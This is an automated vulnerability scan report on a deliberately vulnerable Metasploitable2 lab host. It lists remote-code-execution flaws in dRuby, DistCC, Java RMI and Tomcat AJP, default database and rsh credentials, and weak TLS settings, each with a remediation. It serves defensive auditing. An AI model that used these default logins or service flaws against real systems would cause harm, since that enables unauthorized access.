

# Scan Report

December 29, 2023

## Summary

This document reports on the results of an automatic security scan. All dates are displayed using the timezone “Coordinated Universal Time”, which is abbreviated “UTC”. The task was “Metasploitable2-Linux”. The scan started at Fri Dec 29 14:43:06 2023 UTC and ended at Fri Dec 29 16:51:16 2023 UTC. The report first summarises the results found. Then, for each host, the report describes every issue found. Please consider the advice given in each description, in order to rectify the issue.

## 1 Result Overview

| Host                              | High | Medium | Low | Log | False Positive |
|-----------------------------------|------|--------|-----|-----|----------------|
| 192.168.254.186<br>METASPLOITABLE | 23   | 40     | 6   | 0   | 0              |
| Total: 1                          | 23   | 40     | 6   | 0   | 0              |

Vendor security updates are not trusted.

Overrides are off. Even when a result has an override, this report uses the actual threat of the result.

Information on overrides is included in the report.

Notes are included in the report.

This report might not show details of all issues that were found.

Issues with the threat level “Log” are not shown.

Issues with the threat level “Debug” are not shown.

Issues with the threat level “False Positive” are not shown.

Only results with a minimum QoD of 70 are shown.

This report contains all 69 results selected by the filtering described above. Before filtering there were 598 results.

### 1.1 Host Authentications

| Host                             | Protocol | Result  | Port/User   |
|----------------------------------|----------|---------|---|
| 192.168.254.186 - METASPLOITABLE | SSH      | Failure | Protocol SSH, Port 22, User msfadmin : Login fail |
| 192.168.254.186 - METASPLOITABLE | SMB      | Success | Protocol SMB, Port 445, User                      |

## 2 Results per Host

### 2.1 192.168.254.186

### 2.1.1 High 8787/tcp

High (CVSS: 10.0)

NVT: Distributed Ruby (dRuby/DRb) Multiple Remote Code Execution Vulnerabilities

#### Summary

Systems using Distributed Ruby (dRuby/DRb), which is available in Ruby versions 1.6 and later, may permit unauthorized systems to execute distributed commands.

**Quality of Detection: 99**

#### Vulnerability Detection Result

The service is running in \$SAFE >= 1 mode. However it is still possible to run a ↵bitrary syscall commands on the remote host. Sending an invalid syscall the s ↵ervice returned the following response:

```
Flo:Errno::ENOSYS:bt["3/usr/lib/ruby/1.8/drb/drb.rb:1555:in 'syscall'"0/usr/lib/
↵ruby/1.8/drb/drb.rb:1555:in 'send'"4/usr/lib/ruby/1.8/drb/drb.rb:1555:in '__se
↵nd__'"A/usr/lib/ruby/1.8/drb/drb.rb:1555:in 'perform_without_block'"3/usr/lib/
↵ruby/1.8/drb/drb.rb:1515:in 'perform'"5/usr/lib/ruby/1.8/drb/drb.rb:1589:in 'm
```

... continues on next page ...

|   |
|---|
| <p style="text-align: right;">...continued from previous page ...</p> <pre> ↪ain_loop'"0/usr/lib/ruby/1.8/drb/drb.rb:1585:in 'loop'"5/usr/lib/ruby/1.8/drb/ ↪drb.rb:1585:in 'main_loop'"1/usr/lib/ruby/1.8/drb/drb.rb:1581:in 'start'"5/usr ↪/lib/ruby/1.8/drb/drb.rb:1581:in 'main_loop'"/usr/lib/ruby/1.8/drb/drb.rb:143 ↪0:in 'run'"1/usr/lib/ruby/1.8/drb/drb.rb:1427:in 'start'"/usr/lib/ruby/1.8/dr ↪b/drb.rb:1427:in 'run'"6/usr/lib/ruby/1.8/drb/drb.rb:1347:in 'initialize'"/us ↪r/lib/ruby/1.8/drb/drb.rb:1627:in 'new'"9/usr/lib/ruby/1.8/drb/drb.rb:1627:in ↪'start_service'"/usr/sbin/druby_timeserver.rb:12:errnoi+:mesg"Function not im ↪plemented </pre>  |
| <p><b>Impact</b></p> <p>By default, Distributed Ruby does not impose restrictions on allowed hosts or set the \$SAFE environment variable to prevent privileged activities. If other controls are not in place, especially if the Distributed Ruby process runs with elevated privileges, an attacker could execute arbitrary system commands or Ruby scripts on the Distributed Ruby server. An attacker may need to know only the URI of the listening Distributed Ruby server to submit Ruby commands.</p> <p><b>Solution:</b></p> <p><b>Solution type:</b> Mitigation</p> <p>Administrators of environments that rely on Distributed Ruby should ensure that appropriate controls are in place. Code-level controls may include:</p> <ul style="list-style-type: none"> <li>- Implementing taint on untrusted input</li> <li>- Setting \$SAFE levels appropriately (&gt;=2 is recommended if untrusted hosts are allowed to submit Ruby commands, and &gt;=3 may be appropriate)</li> <li>- Including drb/acl.rb to set ACLEntry to restrict access to trusted hosts</li> </ul> |
| <p><b>Vulnerability Detection Method</b></p> <p>Send a crafted command to the service and check for a remote command execution via the instance_eval or syscall requests.</p> <p>Details: Distributed Ruby (dRuby/DRb) Multiple Remote Code Execution Vulnerabilities<br/> OID:1.3.6.1.4.1.25623.1.0.108010<br/> Version used: 2023-07-20T05:05:17Z</p>   |

#### 2.1.4 High 5432/tcp

High (CVSS: 9.0)

NVT: PostgreSQL Default Credentials (PostgreSQL Protocol)

##### Product detection result

cpe:/a:postgresql:postgresql:8.3.1  
Detected by PostgreSQL Detection (TCP) (OID: 1.3.6.1.4.1.25623.1.0.100151)

##### Summary

It was possible to login into the remote PostgreSQL as user postgres using weak credentials.

Quality of Detection: 99

##### Vulnerability Detection Result

It was possible to login as user postgres with password "postgres".

##### Solution:

**Solution type:** Mitigation

Change the password as soon as possible.

##### Vulnerability Detection Method

Details: PostgreSQL Default Credentials (PostgreSQL Protocol)  
OID:1.3.6.1.4.1.25623.1.0.103552  
Version used: 2023-07-25T05:05:58Z

##### Product Detection Result

Product: cpe:/a:postgresql:postgresql:8.3.1  
Method: PostgreSQL Detection (TCP)

### 2.1.5 High 8009/tcp

High (CVSS: 9.8)

NVT: Apache Tomcat AJP RCE Vulnerability (Ghostcat)

### Summary

Apache Tomcat is prone to a remote code execution vulnerability (dubbed 'Ghostcat') in the AJP connector.

Quality of Detection: 99

### Vulnerability Detection Result

It was possible to read the file "/WEB-INF/web.xml" through the AJP connector.

Result:

```

| --- | --- |
| Sun's Java&nbsp; Sun's Se | |
  |

If you're seeing this page via a web browser, it means you've setup Tomcat successfully. Congratulations!

As you may have guessed by now, this is the default Tomcat home page. It can be found on the local filesystem at:

```

$CATALINA_HOME/webapps/ROOT/index.jsp
    
```

where "$CATALINA_HOME" is the root of the Tomcat installation directory. If you're seeing this page, and you don't think you should be, then either you're either a user who has arrived at new installation of Tomcat, or you're an administrator who hasn't got his/her setup quite right. Providing the latter is the case, please refer to the Tomcat Documentation for more detailed setup and administration information than is found in the INSTALL file.

NOTE: This page is precompiled. If you change it, this page will not change since it was compiled into a servlet at build time. (See $CATALINA_HOME/webapps/ROOT/WEB-INF/web.xml as to how it was mapped.)

NOTE: For security reasons, using the administration webapp is restricted to users with role "admin". The manager webapp is restricted to users with role "manager". Users are defined in $CATALINA_HOME/conf/tomcat-users.xml.

Included with this release are a host of sample Servlets and JSPs (with associated source code), extensive documentation (including the Servlet 2.4 and JSP 2.0 API JavaDoc), and an introductory guide to developing web applications.

Tomcat mailing lists are available at the Tomcat project web site

### 2.1.6 High 1099/tcp

High (CVSS: 7.5)

NVT: Java RMI Server Insecure Default Configuration RCE Vulnerability

#### Summary

Multiple Java products that implement the RMI Server contain a vulnerability that could allow an unauthenticated, remote attacker to execute arbitrary code (remote code execution/RCE) on a targeted system with elevated privileges.

**Quality of Detection:** 95

#### Vulnerability Detection Result

By doing an RMI request it was possible to trigger the vulnerability and make the remote host sending a request back to the scanner host (Details on the received packet follows).

Destination IP: 192.168.254.182 (receiving IP on scanner host side)

Destination port: 25354/tcp (receiving port on scanner host side)

Originating IP: 192.168.254.186 (originating IP from target host side)

#### Impact

An unauthenticated, remote attacker could exploit the vulnerability by transmitting crafted packets to the affected software. When the packets are processed, the attacker could execute arbitrary code on the system with elevated privileges.

#### Solution:

**Solution type:** Workaround

Disable class-loading. Please contact the vendor of the affected system for additional guidance.

#### Vulnerability Insight

... continues on next page ...

...continued from previous page ...

The vulnerability exists because of an incorrect default configuration of the Remote Method Invocation (RMI) Server in the affected software.

#### Vulnerability Detection Method

Sends a crafted JRMI request and checks if the target tries to load a Java class via a remote HTTP URL.

Note: For a successful detection of this flaw the target host needs to be able to reach the scanner host on a TCP port randomly generated during the runtime of the VT (currently in the range of 10000-32000).

Details: Java RMI Server Insecure Default Configuration RCE Vulnerability

OID:1.3.6.1.4.1.25623.1.0.140051

Version used: 2022-12-21T10:12:09Z

[ [return to 192.168.254.186](#) ]**2.1.13 High 3632/tcp****High (CVSS: 9.3)****NVT: DistCC RCE Vulnerability (CVE-2004-2687)****Summary**

DistCC is prone to a remote code execution (RCE) vulnerability.

**Quality of Detection: 99****Vulnerability Detection Result**

It was possible to execute the "id" command.

Result: uid=1(daemon) gid=1(daemon)

**Impact**

DistCC by default trusts its clients completely that in turn could allow a malicious client to execute arbitrary commands on the server.

**Solution:****Solution type:** VendorFix

Vendor updates are available. Please see the references for more information.

For more information about DistCC's security see the references.

**Vulnerability Insight**

DistCC 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.

**Vulnerability Detection Method**

Details: DistCC RCE Vulnerability (CVE-2004-2687)

OID:1.3.6.1.4.1.25623.1.0.103553

#### 2.1.14 High 3306/tcp

High (CVSS: 9.8)

NVT: MySQL / MariaDB Default Credentials (MySQL Protocol)

##### Product detection result

cpe:/a:mysql:mysql:5.0.51a

Detected by MariaDB / Oracle MySQL Detection (MySQL Protocol) (OID: 1.3.6.1.4.1.↪25623.1.0.100152)

##### Summary

It was possible to login into the remote MySQL as root using weak credentials.

Quality of Detection: 95

##### Vulnerability Detection Result

It was possible to login as root with an empty password.

##### Solution:

**Solution type:** Mitigation

- Change the password as soon as possible
- Contact the vendor for other possible fixes / updates

##### Affected Software/OS

The following products are known to use such weak credentials:

- CVE-2001-0645: Symantec/AXENT NetProwler 3.5.x
  - CVE-2004-2357: Proofpoint Protection Server
  - CVE-2006-1451: MySQL Manager in Apple Mac OS X 10.3.9 and 10.4.6
  - CVE-2007-2554: Associated Press (AP) Newpower 4.0.1 and earlier
  - CVE-2007-6081: AdventNet EventLog Analyzer build 4030
  - CVE-2009-0919: XAMPP
  - CVE-2014-3419: Infoblox NetMRI before 6.8.5
  - CVE-2015-4669: Xsuite 2.x
  - CVE-2016-6531, CVE-2018-15719: Open Dental before version 18.4
- Other products might be affected as well.

[\[ return to 192.168.254.186 \]](#)**2.1.17 High 514/tcp**

High (CVSS: 7.5)

NVT: rsh Unencrypted Cleartext Login

**Summary**

This remote host is running a rsh service.

**Quality of Detection:** 80**Vulnerability Detection Result**

The rsh service is misconfigured so it is allowing connections without a password or with default root:root credentials.

**Solution:****Solution type:** Mitigation

Disable the rsh service and use alternatives like SSH instead.

**Vulnerability Insight**

rsh (remote shell) is a command line computer program which can execute shell commands as another user, and on another computer across a computer network.

Remark: NIST don't see 'configuration issues' as software flaws so the referenced CVE has a severity of 0.0. The severity of this VT has been raised by Greenbone to still report a configuration issue on the target.

**Vulnerability Detection Method**

Details: rsh Unencrypted Cleartext Login

OID:1.3.6.1.4.1.25623.1.0.100080

Version used: 2021-10-20T09:03:29Z

Medium (CVSS: 5.3)

NVT: Weak Host Key Algorithm(s) (SSH)

**Summary**

The remote SSH server is configured to allow / support weak host key algorithm(s).

**Quality of Detection:** 80**Vulnerability Detection Result**

The remote SSH server supports the following weak host key algorithm(s):

| host key algorithm | Description  |
|--------------------|--|
| ssh-dss            | Digital Signature Algorithm (DSA) / Digital Signature Standard (DSS) |

-----

|         |  |
|---------|--|
| ssh-dss | Digital Signature Algorithm (DSA) / Digital Signature Standard (DSS) |
|---------|--|

**Solution:****Solution type:** Mitigation

Disable the reported weak host key algorithm(s).

**Vulnerability Detection Method**

Checks the supported host key algorithms of the remote SSH server.

Currently weak host key algorithms are defined as the following:

- ssh-dss: Digital Signature Algorithm (DSA) / Digital Signature Standard (DSS)

Details: Weak Host Key Algorithm(s) (SSH)

NVT: SSL/TLS: Deprecated SSLv2 and SSLv3 Protocol Detection

#### Summary

It was possible to detect the usage of the deprecated SSLv2 and/or SSLv3 protocol on this system.

**Quality of Detection:** 98

#### Vulnerability Detection Result

In addition to TLSv1.0+ the service is also providing the deprecated SSLv3 protocol and supports one or more ciphers. Those supported ciphers can be found in the 'SSL/TLS: Report Supported Cipher Suites' (OID: 1.3.6.1.4.1.25623.1.0.8020 VT).

#### Impact

An attacker might be able to use the known cryptographic flaws to eavesdrop the connection between clients and the service to get access to sensitive data transferred within the secured connection.

Furthermore newly uncovered vulnerabilities in this protocols won't receive security updates anymore.

#### Solution:

**Solution type:** Mitigation

... continues on next page ...

|  |
|--|
| ...continued from previous page ...  |
| It is recommended to disable the deprecated SSLv2 and/or SSLv3 protocols in favor of the TLSv1.2+ protocols. Please see the references for more information.   |

| NVT: SSL/TLS: Renegotiation DoS Vulnerability (CVE-2011-1473, CVE-2011-5094)  |  |
| <p><b>Summary</b></p> <p>The remote SSL/TLS service is prone to a denial of service (DoS) vulnerability.</p>  |  |
| <b>Quality of Detection:</b> 70   |  |
| <p><b>Vulnerability Detection Result</b></p> <p>The following indicates that the remote SSL/TLS service is affected:</p>  |  |
| ...continues on next page...  |  |

|   |  |
|---|--|
| ...continued from previous page...  |  |
| Protocol Version   Successful re-done SSL/TLS handshakes (Renegotiation) over an<br>↔ existing / already established SSL/TLS connection   |  |
| -----   |  |
| ↔-----  |  |
| TLSv1.0   10  |  |
| <b>Impact</b><br>The flaw might make it easier for remote attackers to cause a DoS (CPU consumption) by performing many renegotiations within a single connection.  |  |
| <b>Solution:</b><br><b>Solution type:</b> VendorFix<br>Users should contact their vendors for specific patch information.<br>A general solution is to remove/disable renegotiation capabilities altogether from/in the affected SSL/TLS service.  |  |
| <b>Affected Software/OS</b><br>Every SSL/TLS service which does not properly restrict client-initiated renegotiation.   |  |
| <b>Vulnerability Insight</b><br>The flaw exists because the remote SSL/TLS service does not properly restrict client-initiated renegotiation within the SSL and TLS protocols.<br>Note: The referenced CVEs are affecting OpenSSL and Mozilla Network Security Services (NSS) but both are in a DISPUTED state with the following rationale:<br>> It can also be argued that it is the responsibility of server deployments, not a security library, to prevent or limit renegotiation when it is inappropriate within a specific environment.<br>Both CVEs are still kept in this VT as a reference to the origin of this flaw.  |  |
| <b>Vulnerability Detection Method</b><br>Checks if the remote service allows to re-do the same SSL/TLS handshake (Renegotiation) over an existing / already established SSL/TLS connection.<br>Details: SSL/TLS: Renegotiation DoS Vulnerability (CVE-2011-1473, CVE-2011-5094)<br>OID:1.3.6.1.4.1.25623.1.0.117761<br>Version used: 2021-11-15T10:28:20Z   |  |

| Medium (CVSS: 4.3)  |
| NVT: SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection   |
| <b>Summary</b><br>It was possible to detect the usage of the deprecated TLSv1.0 and/or TLSv1.1 protocol on this system.   |
| <b>Quality of Detection: 98</b>   |
| <b>Vulnerability Detection Result</b><br>The service is only providing the deprecated TLSv1.0 protocol and supports one or more ciphers. Those supported ciphers can be found in the 'SSL/TLS: Report Supported Cipher Suites' (OID: 1.3.6.1.4.1.25623.1.0.802067) VT.  |
| <b>Impact</b><br>An attacker might be able to use the known cryptographic flaws to eavesdrop the connection between clients and the service to get access to sensitive data transferred within the secured connection.<br>Furthermore newly uncovered vulnerabilities in this protocols won't receive security updates anymore.           |
| <b>Solution:</b><br><b>Solution type:</b> Mitigation<br>It is recommended to disable the deprecated TLSv1.0 and/or TLSv1.1 protocols in favor of the TLSv1.2+ protocols. Please see the references for more information.  |
| <b>Affected Software/OS</b><br>All services providing an encrypted communication using the TLSv1.0 and/or TLSv1.1 protocols.  |
| <b>Vulnerability Insight</b><br>The TLSv1.0 and TLSv1.1 protocols contain known cryptographic flaws like: <ul style="list-style-type: none"> <li>- CVE-2011-3389: Browser Exploit Against SSL/TLS (BEAST)</li> <li>- CVE-2015-0204: Factoring Attack on RSA-EXPORT Keys Padding Oracle On Downgraded Legacy Encryption (FREAK)</li> </ul> |
| ... continues on next page ...  |

...continued from previous page ...

**Vulnerability Detection Method**

Check the used TLS protocols of the services provided by this system.

Details: SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection

OID:1.3.6.1.4.1.25623.1.0.117274

Medium (CVSS: 4.0)

NVT: SSL/TLS: Diffie-Hellman Key Exchange Insufficient DH Group Strength Vulnerability

**Summary**

The SSL/TLS service uses Diffie-Hellman groups with insufficient strength (key size < 2048).

**Quality of Detection:** 80**Vulnerability Detection Result**

Server Temporary Key Size: 1024 bits

**Impact**

An attacker might be able to decrypt the SSL/TLS communication offline.

**Solution:**

**Solution type:** Workaround

Deploy (Ephemeral) Elliptic-Curve Diffie-Hellman (ECDHE) or use a 2048-bit or stronger Diffie-Hellman group (see the references).

For Apache Web Servers: Beginning with version 2.4.7, mod\_ssl will use DH parameters which include primes with lengths of more than 1024 bits.

... continues on next page ...

|   |
|---|
| ...continued from previous page ...   |
| <b>Vulnerability Insight</b><br>The Diffie-Hellman group are some big numbers that are used as base for the DH computations. They can be, and often are, fixed. The security of the final secret depends on the size of these parameters. It was found that 512 and 768 bits to be weak, 1024 bits to be breakable by really powerful attackers like governments. |
| <b>Vulnerability Detection Method</b><br>Checks the DHE temporary public key size.<br>Details: SSL/TLS: Diffie-Hellman Key Exchange Insufficient DH Group Strength Vulnerability.<br>↪..<br>OID:1.3.6.1.4.1.25623.1.0.106223<br>Version used: 2023-07-21T05:05:22Z  |

| Medium (CVSS: 6.1)<br>NVT: jQuery < 1.9.0 XSS Vulnerability  |
| <b>Summary</b><br>jQuery is prone to a cross-site scripting (XSS) vulnerability.   |
| <b>Quality of Detection: 80</b>  |
| <b>Vulnerability Detection Result</b><br>Installed version: 1.3.2<br>Fixed version: 1.9.0<br>Installation<br>path / port: /mutillidae/javascript/ddsmoothmenu/jquery.min.js<br>Detection info (see OID: 1.3.6.1.4.1.25623.1.0.150658 for more info):<br>- Identified file: <a href="http://192.168.254.186/mutillidae/javascript/ddsmoothmenu/jquery.min.js">http://192.168.254.186/mutillidae/javascript/ddsmoothmenu/jquery.min.js</a><br>- Referenced at: <a href="http://192.168.254.186/mutillidae/">http://192.168.254.186/mutillidae/</a>                           |
| <b>Solution:</b><br><b>Solution type:</b> VendorFix<br>Update to version 1.9.0 or later.   |
| <b>Affected Software/OS</b><br>jQuery prior to version 1.9.0.  |
| <b>Vulnerability Insight</b><br>The jQuery(strInput) function does not differentiate selectors from HTML in a reliable fashion. In vulnerable versions, jQuery determined whether the input was HTML by looking for the '<' character anywhere in the string, giving attackers more flexibility when attempting to construct a malicious payload. In fixed versions, jQuery only deems the input to be HTML if it explicitly starts with the '<' character, limiting exploitability only to attackers who can control the beginning of a string, which is far less common. |

Medium (CVSS: 5.0)

NVT: /doc directory browsable

**Summary**

The /doc directory is browsable. /doc shows the content of the /usr/doc directory and therefore it shows which programs and - important! - the version of the installed programs.

**Quality of Detection:** 80**Vulnerability Detection Result**

Vulnerable URL: <http://192.168.254.186/doc/>

**Solution:****Solution type:** Mitigation

Use access restrictions for the /doc directory. If you use Apache you might use this in your access.conf:

```
<Directory /usr/doc> AllowOverride None order deny, allow deny from all allow from localhost
</Directory>
```

**Vulnerability Detection Method**

Details: /doc directory browsable

OID:1.3.6.1.4.1.25623.1.0.10056

[\[ return to 192.168.254.186 \]](#)**2.1.22 Medium 21/tcp**

Medium (CVSS: 6.4)

NVT: Anonymous FTP Login Reporting

**Summary**

Reports if the remote FTP Server allows anonymous logins.

**Quality of Detection:** 80**Vulnerability Detection Result**

It was possible to login to the remote FTP service with the following anonymous ↪account(s):

anonymous:anonymous@example.com

ftp:anonymous@example.com

**Impact**

Based on the files accessible via this anonymous FTP login and the permissions of this account an attacker might be able to:

- gain access to sensitive files
- upload or delete files.

**Solution:****Solution type:** Mitigation

If you do not want to share files, you should disable anonymous logins.

**Vulnerability Insight**

A host that provides an FTP service may additionally provide Anonymous FTP access as well. Under this arrangement, users do not strictly need an account on the host. Instead the user typically enters 'anonymous' or 'ftp' when prompted for username. Although users are commonly asked to send their email address as their password, little to no verification is actually performed on the supplied data.

Remark: NIST don't see 'configuration issues' as software flaws so the referenced CVE has a severity of 0.0. The severity of this VT has been raised by Greenbone to still report a configuration issue on the target.

**Vulnerability Detection Method**

Details: Anonymous FTP Login Reporting

NVT: SSL/TLS: Deprecated SSLv2 and SSLv3 Protocol Detection

**Summary**

It was possible to detect the usage of the deprecated SSLv2 and/or SSLv3 protocol on this system.

... continues on next page ...

|   |
|---|
| ...continued from previous page ...   |
| <b>Quality of Detection:</b> 98   |
| <b>Vulnerability Detection Result</b><br>In addition to TLSv1.0+ the service is also providing the deprecated SSLv2 and SSLv3 protocols and supports one or more ciphers. Those supported ciphers can be found in the 'SSL/TLS: Report Supported Cipher Suites' (OID: 1.3.6.1.4.1.256.23.1.0.802067) VT.  |
| <b>Impact</b><br>An attacker might be able to use the known cryptographic flaws to eavesdrop the connection between clients and the service to get access to sensitive data transferred within the secured connection.<br>Furthermore newly uncovered vulnerabilities in this protocols won't receive security updates anymore.   |
| <b>Solution:</b><br><b>Solution type:</b> Mitigation<br>It is recommended to disable the deprecated SSLv2 and/or SSLv3 protocols in favor of the TLSv1.2+ protocols. Please see the references for more information.  |
| <b>Affected Software/OS</b><br>All services providing an encrypted communication using the SSLv2 and/or SSLv3 protocols.  |
| <b>Vulnerability Insight</b><br>The SSLv2 and SSLv3 protocols contain known cryptographic flaws like:<br>- CVE-2014-3566: Padding Oracle On Downgraded Legacy Encryption (POODLE)<br>- CVE-2016-0800: Decrypting RSA with Obsolete and Weakened eNcryption (DROWN)  |
| <b>Vulnerability Detection Method</b><br>Check the used SSL protocols of the services provided by this system.<br>Details: SSL/TLS: Deprecated SSLv2 and SSLv3 Protocol Detection<br>OID:1.3.6.1.4.1.25623.1.0.111012<br>Version used: 2021-10-15T12:51:02Z   |

| Medium (CVSS: 5.0)   |  |
| NVT: SSL/TLS: Renegotiation DoS Vulnerability (CVE-2011-1473, CVE-2011-5094)   |  |
| <b>Summary</b>   |  |
| ... continues on next page ...   |  |

|  |
|--|
| ...continued from previous page ...  |
| The remote SSL/TLS service is prone to a denial of service (DoS) vulnerability.  |
| <b>Quality of Detection: 70</b>  |
| <p><b>Vulnerability Detection Result</b></p> <p>The following indicates that the remote SSL/TLS service is affected:</p> <p>Protocol Version   Successful re-done SSL/TLS handshakes (Renegotiation) over an<br/> ↔ existing / already established SSL/TLS connection</p> <p>-----</p> <p>↔-----</p> <p>TLSv1.0   10</p>   |
| <p><b>Impact</b></p> <p>The flaw might make it easier for remote attackers to cause a DoS (CPU consumption) by performing many renegotiations within a single connection.</p>  |
| <p><b>Solution:</b></p> <p><b>Solution type:</b> VendorFix</p> <p>Users should contact their vendors for specific patch information.</p> <p>A general solution is to remove/disable renegotiation capabilities altogether from/in the affected SSL/TLS service.</p>  |
| <p><b>Affected Software/OS</b></p> <p>Every SSL/TLS service which does not properly restrict client-initiated renegotiation.</p>   |
| <p><b>Vulnerability Insight</b></p> <p>The flaw exists because the remote SSL/TLS service does not properly restrict client-initiated renegotiation within the SSL and TLS protocols.</p> <p>Note: The referenced CVEs are affecting OpenSSL and Mozilla Network Security Services (NSS) but both are in a DISPUTED state with the following rationale:</p> <p>&gt; It can also be argued that it is the responsibility of server deployments, not a security library, to prevent or limit renegotiation when it is inappropriate within a specific environment.</p> <p>Both CVEs are still kept in this VT as a reference to the origin of this flaw.</p> |
| <p><b>Vulnerability Detection Method</b></p> <p>Checks if the remote service allows to re-do the same SSL/TLS handshake (Renegotiation) over an existing / already established SSL/TLS connection.</p> <p>Details: SSL/TLS: Renegotiation DoS Vulnerability (CVE-2011-1473, CVE-2011-5094)</p> <p>OID:1.3.6.1.4.1.25623.1.0.117761</p> <p>Version used: 2021-11-15T10:28:20Z</p>   |

Medium (CVSS: 4.3)

NVT: SSL/TLS: RSA Temporary Key Handling 'RSA\_EXPORT' Downgrade Issue (FREAK)

#### Summary

This host is accepting 'RSA\_EXPORT' cipher suites and is prone to man in the middle attack.

**Quality of Detection:** 80

#### Vulnerability Detection Result

'RSA\_EXPORT' cipher suites accepted by this service via the SSLv3 protocol:

TLS\_DHE\_RSA\_EXPORT\_WITH\_DES40\_CBC\_SHA

TLS\_RSA\_EXPORT\_WITH\_DES40\_CBC\_SHA

TLS\_RSA\_EXPORT\_WITH\_RC2\_CBC\_40\_MD5

TLS\_RSA\_EXPORT\_WITH\_RC4\_40\_MD5

'RSA\_EXPORT' cipher suites accepted by this service via the TLSv1.0 protocol:

TLS\_DHE\_RSA\_EXPORT\_WITH\_DES40\_CBC\_SHA

TLS\_RSA\_EXPORT\_WITH\_DES40\_CBC\_SHA

TLS\_RSA\_EXPORT\_WITH\_RC2\_CBC\_40\_MD5

TLS\_RSA\_EXPORT\_WITH\_RC4\_40\_MD5

#### Impact

Successful exploitation will allow remote attacker to downgrade the security of a session to use 'RSA\_EXPORT' cipher suites, which are significantly weaker than non-export cipher suites. This may allow a man-in-the-middle attacker to more easily break the encryption and monitor or tamper with the encrypted stream.

#### Solution:

**Solution type:** VendorFix

- Remove support for 'RSA\_EXPORT' cipher suites from the service.

- If running OpenSSL update to version 0.9.8zd or 1.0.0p or 1.0.1k or later.

| NVT: SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection   |
| <b>Summary</b><br>It was possible to detect the usage of the deprecated TLSv1.0 and/or TLSv1.1 protocol on this system.   |
| <b>Quality of Detection: 98</b>   |
| <b>Vulnerability Detection Result</b><br>The service is only providing the deprecated TLSv1.0 protocol and supports one or more ciphers. Those supported ciphers can be found in the 'SSL/TLS: Report Supported Cipher Suites' (OID: 1.3.6.1.4.1.25623.1.0.802067) VT.  |
| <b>Impact</b><br>An attacker might be able to use the known cryptographic flaws to eavesdrop the connection between clients and the service to get access to sensitive data transferred within the secured connection.<br>Furthermore newly uncovered vulnerabilities in this protocols won't receive security updates anymore. |
| <b>Solution:</b><br><b>Solution type:</b> Mitigation<br>It is recommended to disable the deprecated TLSv1.0 and/or TLSv1.1 protocols in favor of the TLSv1.2+ protocols. Please see the references for more information.  |
| <b>Affected Software/OS</b><br>All services providing an encrypted communication using the TLSv1.0 and/or TLSv1.1 protocols.  |
| <b>Vulnerability Insight</b><br>The TLSv1.0 and TLSv1.1 protocols contain known cryptographic flaws like:   |

Medium (CVSS: 4.0)

NVT: SSL/TLS: Diffie-Hellman Key Exchange Insufficient DH Group Strength Vulnerability

**Summary**

The SSL/TLS service uses Diffie-Hellman groups with insufficient strength (key size &lt; 2048).

**Quality of Detection:** 80**Vulnerability Detection Result**

Server Temporary Key Size: 1024 bits

**Impact**

An attacker might be able to decrypt the SSL/TLS communication offline.

**Solution:****Solution type:** Workaround

Deploy (Ephemeral) Elliptic-Curve Diffie-Hellman (ECDHE) or use a 2048-bit or stronger Diffie-Hellman group (see the references).

... continues on next page ...

|   |
|---|
| ...continued from previous page ...   |
| For Apache Web Servers: Beginning with version 2.4.7, mod_ssl will use DH parameters which include primes with lengths of more than 1024 bits.  |
| <b>Vulnerability Insight</b><br>The Diffie-Hellman group are some big numbers that are used as base for the DH computations. They can be, and often are, fixed. The security of the final secret depends on the size of these parameters. It was found that 512 and 768 bits to be weak, 1024 bits to be breakable by really powerful attackers like governments. |
| <b>Vulnerability Detection Method</b><br>Checks the DHE temporary public key size.<br>Details: SSL/TLS: Diffie-Hellman Key Exchange Insufficient DH Group Strength Vulnerability.<br>↪...<br>OID:1.3.6.1.4.1.25623.1.0.106223<br>Version used: 2023-07-21T05:05:22Z   |
| <b>References</b><br>url: <a href="https://weakdh.org/">https://weakdh.org/</a><br>url: <a href="https://weakdh.org/sysadmin.html">https://weakdh.org/sysadmin.html</a>   |

| Medium (CVSS: 4.0)   |
| NVT: SSL/TLS: Certificate Signed Using A Weak Signature Algorithm  |
| <b>Summary</b><br>The remote service is using a SSL/TLS certificate in the certificate chain that has been signed using a cryptographically weak hashing algorithm.  |
| <b>Quality of Detection:</b> 80  |
| <b>Vulnerability Detection Result</b><br>The following certificates are part of the certificate chain but using insecure<br>↪signature algorithms:<br>Subject: 1.2.840.113549.1.9.1=#726F6F74407562756E74753830342D626173<br>↪652E6C6F63616C646F6D61696E,CN=ubuntu804-base.localdomain,OU=Office for Complic<br>↪ation of Otherwise Simple Affairs,O=OCOSA,L=Everywhere,ST=There is no such thi<br>↪ng outside US,C=XX<br>Signature Algorithm: sha1WithRSAEncryption |
| <b>Solution:</b><br><b>Solution type:</b> Mitigation<br>Servers that use SSL/TLS certificates signed with a weak SHA-1, MD5, MD4 or MD2 hashing algorithm will need to obtain new SHA-2 signed SSL/TLS certificates to avoid web browser SSL/TLS certificate warnings.   |
| ... continues on next page ...   |

...continued from previous page ...

**Vulnerability Insight**

The following hashing algorithms used for signing SSL/TLS certificates are considered cryptographically weak and not secure enough for ongoing use:

- Secure Hash Algorithm 1 (SHA-1)
- Message Digest 5 (MD5)
- Message Digest 4 (MD4)
- Message Digest 2 (MD2)

Beginning as late as January 2017 and as early as June 2016, browser developers such as Microsoft and Google will begin warning users when visiting web sites that use SHA-1 signed Secure Socket Layer (SSL) certificates.

NOTE: The script preference allows to set one or more custom SHA-1 fingerprints of CA certificates which are trusted by this routine. The fingerprints needs to be passed comma-separated and case-insensitive:

Fingerprint1

or

fingerprint1, Fingerprint2

**Vulnerability Detection Method**

Check which hashing algorithm was used to sign the remote SSL/TLS certificate.

Details: SSL/TLS: Certificate Signed Using A Weak Signature Algorithm

OID:1.3.6.1.4.1.25623.1.0.105880

Version used: 2021-10-15T11:13:32Z

[\[ return to 192.168.254.186 \]](#)

**2.1.26 Medium 23/tcp**

Medium (CVSS: 4.8)

NVT: Telnet Unencrypted Cleartext Login

**Summary**

The remote host is running a Telnet service that allows cleartext logins over unencrypted connections.

**Quality of Detection:** 70

**Vulnerability Detection Result**

Vulnerability was detected according to the Vulnerability Detection Method.

... continues on next page ...

...continued from previous page ...

**Impact**

An attacker can uncover login names and passwords by sniffing traffic to the Telnet service.

**Solution:**

**Solution type:** Mitigation

Replace Telnet with a protocol like SSH which supports encrypted connections.

